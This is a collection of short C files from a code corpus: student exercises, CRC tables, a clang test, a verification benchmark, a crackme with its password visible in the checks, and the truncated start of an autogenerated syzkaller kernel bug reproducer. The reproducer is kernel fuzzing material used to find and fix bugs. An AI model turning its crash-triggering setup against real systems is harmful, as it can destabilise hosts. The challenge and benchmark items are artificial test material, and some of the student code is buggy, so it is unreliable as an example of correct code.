#include<stdio.h> #include<stdlib.h> int X(int n,int m) { if(n==m) return 1; if(n==1) return m; int i,j,k,l,sum=0; for(i=0;i<=m-n;i++) sum+=X(n-1,m-1-i); return sum; } int main() { int n,m,sum; scanf("%d%d",&m,&n); printf("%d\n",X(n,m)); return 0; }
the_stack_data/145451825.c
/* mystrncpy.c */ # include <stdio.h> # include <stdlib.h> size_t mystrlen(char *s) { size_t res =0; while(*s!='\0') { res ++; s++; } return res; } char *mystrncpy(char *dst, char *src, size_t len) { size_t i = 0; for (i = 0;i<len && src[i];i++) { dst[i] = src[i]; } for(;i<len;i++) { dst[i]=0; } return dst; } void print_str_as_array(char *s, size_t len) { for (size_t i = 0; i < len; i++) printf("0x%02x ", s[i]); printf("\n"); } int main() { char src[] = "abc"; char *dst = malloc(2 * sizeof (src) * sizeof (char)); // Fill dst with 0x7f for (char *cur = dst; cur < dst + 2 * sizeof (src); cur++) *cur = 0x7f; // Print dst and src printf("src = "); print_str_as_array(src, sizeof (src)); printf("dst = "); print_str_as_array(dst, 2 * sizeof (src)); // copy exactly the length of src mystrncpy(dst, src, mystrlen(src)); printf("\ndst = "); print_str_as_array(dst, 2 * sizeof (src)); // Fill dst with 0x7f for (char *cur = dst; cur < dst + 2 * sizeof (src); cur++) *cur = 0x7f; // copy the length of src + 1 mystrncpy(dst, src, mystrlen(src) + 1); printf("\ndst = "); print_str_as_array(dst, 2 * sizeof (src)); // Fill dst with 0x7f for (char *cur = dst; cur < dst + 2 * sizeof (src); cur++) *cur = 0x7f; // copy the size of dst mystrncpy(dst, src, 2 * sizeof (src)); printf("\ndst = "); print_str_as_array(dst, 2 * sizeof (src)); // Fill dst with 0x7f for (char *cur = dst; cur < dst + 2 * sizeof (src); cur++) *cur = 0x7f; free(dst); return 0; }
the_stack_data/211082025.c
/* * CRC_Table.c * * Created on: 2019年3月23日 * Author: jackyL */ #include "stdint.h" #define LINE(arg...) arg const uint8_t CRC8Table[] ={ 0, 94, 188, 226, 97, 63, 221, 131, 194, 156, 126, 32, 163, 253, 31, 65, 157, 195, 33, 127, 252, 162, 64, 30, 95, 1, 227, 189, 62, 96, 130, 220, 35, 125, 159, 193, 66, 28, 254, 160, 225, 191, 93, 3, 128, 222, 60, 98, 190, 224, 2, 92, 223, 129, 99, 61, 124, 34, 192, 158, 29, 67, 161, 255, 70, 24, 250, 164, 39, 121, 155, 197, 132, 218, 56, 102, 229, 187, 89, 7, 219, 133, 103, 57, 186, 228, 6, 88, 25, 71, 165, 251, 120, 38, 196, 154, 101, 59, 217, 135, 4, 90, 184, 230, 167, 249, 27, 69, 198, 152, 122, 36, 248, 166, 68, 26, 153, 199, 37, 123, 58, 100, 134, 216, 91, 5, 231, 185, 140, 210, 48, 110, 237, 179, 81, 15, 78, 16, 242, 172, 47, 113, 147, 205, 17, 79, 173, 243, 112, 46, 204, 146, 211, 141, 111, 49, 178, 236, 14, 80, 175, 241, 19, 77, 206, 144, 114, 44, 109, 51, 209, 143, 12, 82, 176, 238, 50, 108, 142, 208, 83, 13, 239, 177, 240, 174, 76, 18, 145, 207, 45, 115, 202, 148, 118, 40, 171, 245, 23, 73, 8, 86, 180, 234, 105, 55, 213, 139, 87, 9, 235, 181, 54, 104, 138, 212, 149, 203, 41, 119, 244, 170, 72, 22, 233, 183, 85, 11, 136, 214, 52, 106, 43, 117, 151, 201, 74, 20, 246, 168, 116, 42, 200, 150, 21, 75, 169, 247, 182, 232, 10, 84, 215, 137, 107, 53 }; const uint16_t CRC16Table[256] = { LINE(0x0000, 0x1021, 0x2042, 0x3063), LINE(0x4084, 0x50A5, 0x60C6, 0x70E7), LINE(0x8108, 0x9129, 0xA14A, 0xB16B), LINE(0xC18C, 0xD1AD, 0xE1CE, 0xF1EF), LINE(0x1231, 0x0210, 0x3273, 0x2252), LINE(0x52B5, 0x4294, 0x72F7, 0x62D6), LINE(0x9339, 0x8318, 0xB37B, 0xA35A), LINE(0xD3BD, 0xC39C, 0xF3FF, 0xE3DE), LINE(0x2462, 0x3443, 0x0420, 0x1401), LINE(0x64E6, 0x74C7, 0x44A4, 0x5485), LINE(0xA56A, 0xB54B, 0x8528, 0x9509), LINE(0xE5EE, 0xF5CF, 0xC5AC, 0xD58D), LINE(0x3653, 0x2672, 0x1611, 0x0630), LINE(0x76D7, 0x66F6, 0x5695, 0x46B4), LINE(0xB75B, 0xA77A, 0x9719, 0x8738), LINE(0xF7DF, 0xE7FE, 0xD79D, 0xC7BC), LINE(0x48C4, 0x58E5, 0x6886, 0x78A7), LINE(0x0840, 0x1861, 0x2802, 0x3823), LINE(0xC9CC, 0xD9ED, 0xE98E, 0xF9AF), LINE(0x8948, 0x9969, 0xA90A, 0xB92B), LINE(0x5AF5, 0x4AD4, 0x7AB7, 0x6A96), LINE(0x1A71, 0x0A50, 0x3A33, 0x2A12), LINE(0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E), LINE(0x9B79, 0x8B58, 0xBB3B, 0xAB1A), LINE(0x6CA6, 0x7C87, 0x4CE4, 0x5CC5), LINE(0x2C22, 0x3C03, 0x0C60, 0x1C41), LINE(0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD), LINE(0xAD2A, 0xBD0B, 0x8D68, 0x9D49), LINE(0x7E97, 0x6EB6, 0x5ED5, 0x4EF4), LINE(0x3E13, 0x2E32, 0x1E51, 0x0E70), LINE(0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC), LINE(0xBF1B, 0xAF3A, 0x9F59, 0x8F78), LINE(0x9188, 0x81A9, 0xB1CA, 0xA1EB), LINE(0xD10C, 0xC12D, 0xF14E, 0xE16F), LINE(0x1080, 0x00A1, 0x30C2, 0x20E3), LINE(0x5004, 0x4025, 0x7046, 0x6067), LINE(0x83B9, 0x9398, 0xA3FB, 0xB3DA), LINE(0xC33D, 0xD31C, 0xE37F, 0xF35E), LINE(0x02B1, 0x1290, 0x22F3, 0x32D2), LINE(0x4235, 0x5214, 0x6277, 0x7256), LINE(0xB5EA, 0xA5CB, 0x95A8, 0x8589), LINE(0xF56E, 0xE54F, 0xD52C, 0xC50D), LINE(0x34E2, 0x24C3, 0x14A0, 0x0481), LINE(0x7466, 0x6447, 0x5424, 0x4405), LINE(0xA7DB, 0xB7FA, 0x8799, 0x97B8), LINE(0xE75F, 0xF77E, 0xC71D, 0xD73C), LINE(0x26D3, 0x36F2, 0x0691, 0x16B0), LINE(0x6657, 0x7676, 0x4615, 0x5634), LINE(0xD94C, 0xC96D, 0xF90E, 0xE92F), LINE(0x99C8, 0x89E9, 0xB98A, 0xA9AB), LINE(0x5844, 0x4865, 0x7806, 0x6827), LINE(0x18C0, 0x08E1, 0x3882, 0x28A3), LINE(0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E), LINE(0x8BF9, 0x9BD8, 0xABBB, 0xBB9A), LINE(0x4A75, 0x5A54, 0x6A37, 0x7A16), LINE(0x0AF1, 0x1AD0, 0x2AB3, 0x3A92), LINE(0xFD2E, 0xED0F, 0xDD6C, 0xCD4D), LINE(0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9), LINE(0x7C26, 0x6C07, 0x5C64, 0x4C45), LINE(0x3CA2, 0x2C83, 0x1CE0, 0x0CC1), LINE(0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C), LINE(0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8), LINE(0x6E17, 0x7E36, 0x4E55, 0x5E74), LINE(0x2E93, 0x3EB2, 0x0ED1, 0x1EF0) }; const uint32_t CRC32Table[256] = { 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D }; uint8_t CRC8_Table(uint8_t* p, uint8_t counter) { uint8_t crc8 = 0; for (int i = 0; i < counter; i++) { uint8_t value = p[i]; uint8_t new_index = crc8 ^ value; crc8 = CRC8Table[new_index]; } return (crc8); } uint16_t CRC16_Table(uint8_t* p, uint8_t counter) { uint16_t crc16 = 0; for (int i = 0; i < counter; i++) { uint8_t value = p[i]; crc16 = CRC16Table[((crc16 >> 8) ^ value) & 0xff] ^ (crc16 << 8); } return (crc16); } uint32_t CRC32_Table(uint8_t* buf, int len) { uint32_t CRC32_data = 0xFFFFFFFF; for (uint32_t i = 0; i != len; ++i) { uint32_t t = (CRC32_data ^ buf[i]) & 0xFF; CRC32_data = ((CRC32_data >> 8) & 0xFFFFFF) ^ CRC32Table[t]; } return ~CRC32_data; }
the_stack_data/115764353.c
#include<stdio.h> #include<stdlib.h> int bubble_sort(int *array, int a){ int temp, j, i; for(j = 0; j < a; j++){ i = 0; for(i = 0; i < a - 1; i++){ if(array[i] > array[i + 1]){ temp = array[i]; array[i] = array[i + 1]; array[i + 1] = temp; } } } return array[a - 1]; } int findMissing(int value, int *array){ if(*array == value) return value + 1; else if(*(array + 1) != *array + 1 && *array > 0) findMissing(*array, array); else findMissing(value, ++array); } int main(){ int array[10] = {-12, 4, 1, 5, 6, 3, 7, 2, 0, -2}; int i, num = bubble_sort(array, 10); printf("%d\n", findMissing(num, array)); return 0; }
the_stack_data/83773.c
// RUN: %clang_cc1 -triple x86_64-unknown-unknown -fopenmp -ast-dump %s | FileCheck --match-full-lines -implicit-check-not=openmp_structured_block %s void test(int x) { #pragma omp target exit data map(from \ : x) } // CHECK: TranslationUnitDecl {{.*}} <<invalid sloc>> <invalid sloc> // CHECK: `-FunctionDecl {{.*}} <{{.*}}ast-dump-openmp-target-exit-data.c:3:1, line:6:1> line:3:6 test 'void (int)' // CHECK-NEXT: |-ParmVarDecl {{.*}} <col:11, col:15> col:15 used x 'int' // CHECK-NEXT: `-CompoundStmt {{.*}} <col:18, line:6:1> // CHECK-NEXT: `-OMPTargetExitDataDirective {{.*}} <line:4:9, line:5:38> openmp_standalone_directive // CHECK-NEXT: |-OMPMapClause {{.*}} <line:4:30, line:5:37> // CHECK-NEXT: | `-DeclRefExpr {{.*}} <col:36> 'int' lvalue ParmVar {{.*}} 'x' 'int' // CHECK-NEXT: `-CapturedStmt {{.*}} <line:4:9> // CHECK-NEXT: `-CapturedDecl {{.*}} <<invalid sloc>> <invalid sloc> nothrow // CHECK-NEXT: |-CompoundStmt {{.*}} <col:9> // CHECK-NEXT: |-AlwaysInlineAttr {{.*}} <<invalid sloc>> Implicit __forceinline // CHECK-NEXT: |-ImplicitParamDecl {{.*}} <col:9> col:9 implicit .global_tid. 'const int' // CHECK-NEXT: |-ImplicitParamDecl {{.*}} <col:9> col:9 implicit .part_id. 'const int *const restrict' // CHECK-NEXT: |-ImplicitParamDecl {{.*}} <col:9> col:9 implicit .privates. 'void *const restrict' // CHECK-NEXT: |-ImplicitParamDecl {{.*}} <col:9> col:9 implicit .copy_fn. 'void (*const restrict)(void *const restrict, ...)' // CHECK-NEXT: |-ImplicitParamDecl {{.*}} <col:9> col:9 implicit .task_t. 'void *const' // CHECK-NEXT: `-ImplicitParamDecl {{.*}} <col:9> col:9 implicit __context 'struct (anonymous at {{.*}}ast-dump-openmp-target-exit-data.c:4:9) *const restrict'
the_stack_data/107953482.c
#include <stdlib.h> #include <string.h> char *lastSubstring(char *s) { int i = 0; for (int j = 1, k = 0; s[j + k];) { if (s[i + k] == s[j + k]) ++k; else if (s[i + k] < s[j + k]) { i = j++; k = 0; } else { j += k + 1; k = 0; } } return &s[i]; }
the_stack_data/402613.c
int main() { int a; int b; int c; int x; int z; scanf("%d", &a); scanf("%d", &b); z = ((a+ (b*3)) + ((1-2)*45))*((12*33) - (11*34)); x = (a*b) + ((a+b) + (300 + 200)); c = (a*(b*(3*7))) - (3*8); printf("%d\n", a); printf("%d\n", b); printf("%d\n", c); printf("%d\n", x); printf("%d\n", z); return 0; }
the_stack_data/125908.c
#include<stdio.h> #include<math.h> #include<string.h> int zhishu(int); int main() { int n,i; scanf("%d",&n); for(i=n+1;;i++){ if(zhishu(i)==1) { break; } } printf("%d",i); return 0; } int zhishu(int x) { int j; int t=1; if(x>2){ for(j=2;j<x;j++) { if(x%j==0) { t--; } } } return t; }
the_stack_data/162643908.c
////////////////////////////////////////////////////////////////////// // CE1007/CZ1007 Data Structures // Week 13 Lab and Tutorial - Binary Search Tree #include <stdio.h> #include <stdlib.h> /////////////////////////////////////////////////////////////////////// typedef struct _btnode{ int item; struct _btnode *left; struct _btnode *right; } BTNode; /////////////////////////////////////////////////////////////////////// void insertBSTNode(BTNode **node, int value); void printBSTInOrder(BTNode *node); int isBST(BTNode *node, int min, int max); BTNode *removeBSTNode(BTNode *node, int value); BTNode *findMin(BTNode *p); /////////////////////////////////////////////////////////////////////// int main(){ int i=0; BTNode *root=NULL; //question 1 do{ printf("input a value you want to insert(-1 to quit):"); scanf("%d",&i); if (i!=-1) insertBSTNode(&root,i); }while(i!=-1); //question 2 printf("\n"); printBSTInOrder(root); //question 3 if ( isBST(root,-1000000, 1000000)==1) printf("It is a BST!\n"); else printf("It is not a BST!\n"); //question 4 do{ printf("\ninput a value you want to remove(-1 to quit):"); scanf("%d",&i); if (i!=-1) { root=removeBSTNode(root,i); printBSTInOrder(root); } }while(i!=-1); return 0; } ////////////////////////////////////////////////////////////////////// void insertBSTNode(BTNode **node, int value) { // write your code here BTNode *newNode = malloc(sizeof(BTNode)); if (newNode == NULL) return ; // empty BTS if (*node == NULL){ newNode->left = NULL; newNode->right = NULL; newNode->item = value; *node = newNode; return ; } // BTS not empty if ((*node)->item == value) return ; // existing value in BTS if ((*node)->item > value) insertBSTNode(&((*node)->left), value); else insertBSTNode(&((*node)->right), value); } ////////////////////////////////////////////////////////////////////// void printBSTInOrder(BTNode *node) { // write your code here if (node == NULL) return ; printBSTInOrder(node->left); printf("%d ", node->item); printBSTInOrder(node->right); } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// int isBST(BTNode *node, int min, int max) // the item stored in node has to be smaller than max and larger than min { // write your code here int minimum(int a, int b){ return a < b ? a : b; } // node empty if (node == NULL) return 1; BTNode *nodeL = node->left, *nodeR = node->right; if (nodeL == NULL && nodeR == NULL) // node is leaf return 1; if (nodeL == NULL) // node only has right return (nodeR->item <= node->item) ? 0 : isBST(nodeL, min, node->item); if (nodeR == NULL) // node only has left return (nodeL->item >= node->item) ? 0 : isBST(nodeR, node->item, max); if ((nodeL->item >= node->item) || (nodeR->item <= node->item)) return 0; return minimum(isBST(nodeL, min, node->item), isBST(nodeR, node->item, max)); } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// BTNode *removeBSTNode(BTNode *node, int value) { // write your code here BTNode *findMin(BTNode *p){ return (p == NULL) ? NULL : findMin(p->left); } // DEFAULT RETURN NODE if (node == NULL) return NULL; if (value < node->item) node->left = removeBSTNode(node->left, value); else if (node->item < value) node->right = removeBSTNode(node->right, value); else { // same value // node is leaf if (node->left == NULL && node->right == NULL) return NULL; // node has 2 children + successor method used else if (node->left != NULL && node->right != NULL){ BTNode *newNode = findMin(node->right); node->item = newNode->item; node->right = removeBSTNode(node->right, newNode->item); } // node only has 1 child else { BTNode *newNode = (node->left == NULL) ? node->right : node->left; return newNode; } } return node; } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
the_stack_data/63235.c
extern void abort(void); void reach_error(){} void __VERIFIER_assert(int cond) { if (!(cond)) { ERROR: {reach_error();abort();} } return; } unsigned int __VERIFIER_nondet_uint(); int main() { int i,j; int m=1000,n=1500; unsigned int A [m][n]; unsigned int B [m][n]; unsigned int C [m][n]; i=0; j=0; while(i < m){ j=0; while(j < n){ A[i][j]=__VERIFIER_nondet_uint(); B[i][j]=__VERIFIER_nondet_uint(); j=j+1; } i=i+1; } i=0; j=0; while(i < m){ j=0; while(j < n){ C[i][j]=A[i][j]+B[i][j]; j=j+1; } i=i+1; } i=0; j=0; while(i < m){ j=0; while(j < n){ __VERIFIER_assert(C[i][j]==A[i][j]+B[i][j]); j=j+1; } i=i+1; } return 0; }
the_stack_data/73574828.c
#include<stdio.h> #include<stdlib.h> #define bool int /* structure of a stack node */ struct sNode { char data; struct sNode *next; }; /* Function to push an item to stack*/ void push(struct sNode** top_ref, int new_data); /* Function to pop an item from stack*/ int pop(struct sNode** top_ref); /* Returns 1 if character1 and character2 are matching left and right Parenthesis */ bool isMatchingPair(char character1, char character2) { if (character1 == '(' && character2 == ')') return 1; else if (character1 == '{' && character2 == '}') return 1; else if (character1 == '[' && character2 == ']') return 1; else return 0; } /*Return 1 if expression has balanced Parenthesis */ bool areParenthesisBalanced(char exp[]) { int i = 0; /* Declare an empty character stack */ struct sNode *stack = NULL; /* Traverse the given expression to check matching parenthesis */ while (exp[i]) { /*If the exp[i] is a starting parenthesis then push it*/ if (exp[i] == '{' || exp[i] == '(' || exp[i] == '[') push(&stack, exp[i]); /* If exp[i] is an ending parenthesis then pop from stack and check if the popped parenthesis is a matching pair*/ if (exp[i] == '}' || exp[i] == ')' || exp[i] == ']') { /*If we see an ending parenthesis without a pair then return false*/ if (stack == NULL) return 0; /* Pop the top element from stack, if it is not a pair parenthesis of character then there is a mismatch. This happens for expressions like {(}) */ else if ( !isMatchingPair(pop(&stack), exp[i]) ) return 0; } i++; } /* If there is something left in expression then there is a starting parenthesis without a closing parenthesis */ if (stack == NULL) return 1; /*balanced*/ else return 0; /*not balanced*/ } /* UTILITY FUNCTIONS */ /*driver program to test above functions*/ int main() { char exp[100] = "{()}[]"; if (areParenthesisBalanced(exp)) printf("Balanced \n"); else printf("Not Balanced \n"); return 0; } /* Function to push an item to stack*/ void push(struct sNode** top_ref, int new_data) { /* allocate node */ struct sNode* new_node = (struct sNode*) malloc(sizeof(struct sNode)); if (new_node == NULL) { printf("Stack overflow n"); getchar(); exit(0); } /* put in the data */ new_node->data = new_data; /* link the old list off the new node */ new_node->next = (*top_ref); /* move the head to point to the new node */ (*top_ref) = new_node; } /* Function to pop an item from stack*/ int pop(struct sNode** top_ref) { char res; struct sNode *top; /*If stack is empty then error */ if (*top_ref == NULL) { printf("Stack overflow n"); getchar(); exit(0); } else { top = *top_ref; res = top->data; *top_ref = top->next; free(top); return res; } }
the_stack_data/44573.c
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { if(argc != 2) { printf("Usage : ./challenge02 password\n"); exit(1); } int length = strlen(argv[1]); if(length == 11) { if(argv[1][0] == '\x4E') if(argv[1][1] == '\x65') if(argv[1][2] == '\x76') if(argv[1][3] == '\x65') if(argv[1][4] == '\x72') if(argv[1][5] == '\x47') if(argv[1][6] == '\x69') if(argv[1][7] == '\x76') if(argv[1][8] == '\x65') if(argv[1][9] == '\x55') if(argv[1][10] == '\x70') { printf("Congratz !\n"); return 0; } } printf("Try harder !\n"); return 0; }
the_stack_data/890180.c
/* I/O system calls of UNIX/LINUX OS */ /* to get o/p -> ./a.out firstFile.c secondFile.c */ #include <syscall.h> #include <unistd.h> #include <sys/types.h> #include <fcntl.h> #include <sys/uio.h> #include <sys/stat.h> #include <stdio.h> int main(int argc, char *argv[]){ int fd; fd = open(argv[1], O_CREAT | O_RDONLY); if (fd == -1){ printf("error opening the file"); } void *buf = (char *)malloc(120); int count = read(fd, buf, 120); printf("count : %d", count); printf("%s", buf); close(fd); int f1; f1 = open(argv[2], O_CREAT | O_WRONLY); if (f1 == -1){ printf("error opening the file"); } int c; while (count = read(fd, buf, 120) > 0){ c = write(f1, buf, 120); } if (c == -1){ printf("error writing to the file"); } printf("\n Successfully copied the content from one file to other"); close(f1); }
the_stack_data/15763207.c
/* * No copyright. This trivial file is offered as-is, without any warranty. */ /* * NOTE * This file must be the _LAST_ object file linked in the application. * The name starting with zz_ helps when is no other way to specify a * link order */ /* marks end of memory to be copied to child */ unsigned long bookcommon2; unsigned long bookbss2=0; unsigned long bookdata2=1L;
the_stack_data/161079661.c
// INFO: task hung in corrupted // https://syzkaller.appspot.com/bug?id=884ad82fd25acb3305747985faa68784df64eee5 // status:invalid // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <arpa/inet.h> #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <net/if_arp.h> #include <netinet/in.h> #include <pthread.h> #include <sched.h> #include <setjmp.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/futex.h> #include <linux/if.h> #include <linux/if_ether.h> #include <linux/if_tun.h> #include <linux/ip.h> #include <linux/net.h> #include <linux/netfilter_bridge/ebtables.h> #include <linux/tcp.h> unsigned long long procid; static __thread int skip_segv; static __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* ctx) { uintptr_t addr = (uintptr_t)info->si_addr; const uintptr_t prog_start = 1 << 20; const uintptr_t prog_end = 100 << 20; if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) && (addr < prog_start || addr > prog_end)) { _longjmp(segv_env, 1); } exit(sig); } static void install_segv_handler() { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8); syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8); memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) \ { \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ } static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } uint64_t current_time_ms() { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void use_temporary_dir() { char tmpdir_template[] = "./syzkaller.XXXXXX"; char* tmpdir = mkdtemp(tmpdir_template); if (!tmpdir) exit(1); if (chmod(tmpdir, 0777)) exit(1); if (chdir(tmpdir)) exit(1); } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); if (pthread_create(&th, &attr, fn, arg)) exit(1); pthread_attr_destroy(&attr); } typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_RELAXED)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static void vsnprintf_check(char* str, size_t size, const char* format, va_list args) { int rv; rv = vsnprintf(str, size, format, args); if (rv < 0) exit(1); if ((size_t)rv >= size) exit(1); } #define COMMAND_MAX_LEN 128 #define PATH_PREFIX \ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin " #define PATH_PREFIX_LEN (sizeof(PATH_PREFIX) - 1) static void execute_command(bool panic, const char* format, ...) { va_list args; char command[PATH_PREFIX_LEN + COMMAND_MAX_LEN]; int rv; va_start(args, format); memcpy(command, PATH_PREFIX, PATH_PREFIX_LEN); vsnprintf_check(command + PATH_PREFIX_LEN, COMMAND_MAX_LEN, format, args); va_end(args); rv = system(command); if (rv) { if (panic) exit(1); } } static int tunfd = -1; static int tun_frags_enabled; #define SYZ_TUN_MAX_PACKET_SIZE 1000 #define TUN_IFACE "syz_tun" #define LOCAL_MAC "aa:aa:aa:aa:aa:aa" #define REMOTE_MAC "aa:aa:aa:aa:aa:bb" #define LOCAL_IPV4 "172.20.20.170" #define REMOTE_IPV4 "172.20.20.187" #define LOCAL_IPV6 "fe80::aa" #define REMOTE_IPV6 "fe80::bb" #define IFF_NAPI 0x0010 #define IFF_NAPI_FRAGS 0x0020 static void initialize_tun(void) { tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK); 